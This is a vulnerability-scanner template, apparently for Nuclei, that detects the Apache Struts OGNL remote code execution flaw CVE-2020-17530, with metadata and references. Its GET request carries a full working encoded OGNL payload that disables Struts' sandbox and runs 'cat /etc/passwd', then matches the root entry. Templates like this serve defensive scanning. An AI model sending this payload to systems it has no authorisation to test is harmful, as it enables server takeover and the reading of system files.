43 lines
2.6 KiB
YAML
43 lines
2.6 KiB
YAML
id: CVE-2020-17530
|
|
|
|
info:
|
|
name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
|
|
reference:
|
|
- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
|
|
- http://jvn.jp/en/jp/JVN43969166/index.html
|
|
- https://cwiki.apache.org/confluence/display/WW/S2-061
|
|
- https://security.netapp.com/advisory/ntap-20210115-0005/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-17530
|
|
cwe-id: CWE-917
|
|
epss-score: 0.97035
|
|
epss-percentile: 0.99705
|
|
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: struts
|
|
tags: cve,cve2020,apache,rce,struts,kev,packetstorm
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
# digest: 4a0a00473045022100f8772b5af894a600398e2cbdbfbe74c037996a181c30b1e30e6974350442cc4c0220281d5992e3c1106964936c6454a0e8456b4fec3429bbda951b681495375c967f:922c64590222798bb761d5b6d8e72950 |